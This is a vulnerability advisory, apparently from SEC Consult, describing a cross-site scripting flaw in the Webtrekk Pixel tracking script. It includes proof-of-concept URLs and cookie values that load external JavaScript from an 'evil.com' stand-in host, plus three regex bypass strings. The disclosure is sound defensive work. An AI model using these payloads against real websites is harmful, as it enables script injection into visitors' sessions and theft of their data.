Vendor Description
“Webtrekk Analytics offers an endless range of filter and analysis functions. Whatever type of site you operate, our analytics tools give you the raw data you need to dive into your web and app metrics so you can optimise your digital marketing campaigns.”
Source: https://www.webtrekk.com/en/solutions/analytics/
“At home in Germany, Webtrekk ranks first among professional analytics tools used by the 1,000 most popular .de domains. All told, Webtrekk has a 22.9 percent market share among providers for the top German domains, excluding sites that use Google Analytics or have no analytics system.”
Source: https://www.webtrekk.com/en/why-webtrekk/market-leader/
Business Recommendation
The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.
Vulnerability Overview / Description
1) Cross site scripting vulnerability
The Webtrekk Pixel component, used on many websites to track users, has the capability to load arbitrary external JavaScript via multiple parameter combinations. The parameters are parsed from the search-part of the URL.
?wt_overlay=1&wt_reporter=url_for_external_javascript
?wt_heatmap=1&wt_reporter=url_for_external_javascript
The URL specified in the parameter wt_reporter is checked by a Regex that can be bypassed in different ways.
Proof Of Concept
1) Cross site scripting vulnerability
Example URL:http://www.example.com/?wt_overlay=1&wt_reporter=report1.webtrekk.com.evil.com/
The example URL leads to the inclusion of the following HTML in the page:
<script language="javascript" type="text/javascript"
src="https://report1.webtrekk.com.evil.com/overlay.pl?
wt_contentId=..."></script>
Regex that checks the URL:
/^(http[s]?:\/\/)?(report\d+|analytics)\.webtrekk\.(com|de).*$/
The .* at the end of the expression allows multiple bypasses:
- Subdomain: report1.webtrekk.com.evil.com/
- Auth: report1.webtrekk.com@evil.com/
- NoSlash: report1.webtrekk.com
The last bypass leads to the inclusion of JavaScript from the domain overlay.pl, which at the time of testing was open to be registered, but has been registered by Webtrekk for security reasons now.
The vulnerability can also be triggered via cookies. This enables an attacker to execute JavaScript in the session of the victim anytime the website with the vulnerable script is visited, after only using the parameters from the search once to set the cookie values.
Cookie values:
wt_overlay=1; wt_overlayFrame=report1.webtrekk.com.evil.com/;
Vulnerable / Tested Versions
Latest version v4.3.9 tested:
https://support.webtrekk.com/hc/de/article_attachments/115005882469/Webtrekk_EN_Config_Pixel_v4.3.9.zip
Also found to be vulnerable: 3.2.6, 4.0.5, 4.3.5
The setup for version 5 is different and the static part (tiLoader.min.js) does not include the vulnerable JavaScript directly. However code similiar to the overlay functions from version 3 and 4 seems to be loaded dynamically (which also includes the same Regex check).
According to the vendor, v5 is affected as well.